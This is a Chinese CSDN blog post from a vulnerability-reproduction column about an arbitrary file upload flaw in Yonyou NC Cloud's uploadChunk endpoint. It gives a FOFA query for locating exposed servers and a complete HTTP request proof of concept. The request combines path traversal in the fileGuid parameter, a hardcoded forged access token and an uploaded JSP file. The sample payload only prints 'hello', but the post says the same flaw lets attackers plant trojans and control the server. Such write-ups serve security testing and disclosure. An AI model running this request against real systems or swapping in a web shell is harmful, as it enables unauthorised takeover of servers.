用友_nccload_uploadchunk文件上传漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-17 16:09:41 修改

阅读量256

点赞数 11

分类专栏：漏洞复现文章标签：安全 web安全网络

于 2024-04-17 16:09:25 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137877252

版权

漏洞复现专栏收录该内容

361 篇文章 129 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

漏洞描述

用友NC Cloud uploadChunk文件存在任意文件上传漏洞，攻击者通过此漏洞可实现上传木马文件，控制服务器。

漏洞复现

fofa语法：app=”用友-NC-Cloud”
POC：

POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=024ff46f71634a1c9bf8ec5820c26fa9
accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Content-Length: 170

--024ff46f71634a1c9bf8ec5820c26fa9
Content-Disposition: form-data; name="file"; filename="test.txt"

<% out.print("hello");%>
--024ff46f71634a1c9bf8ec5820c26fa9--

了解本专栏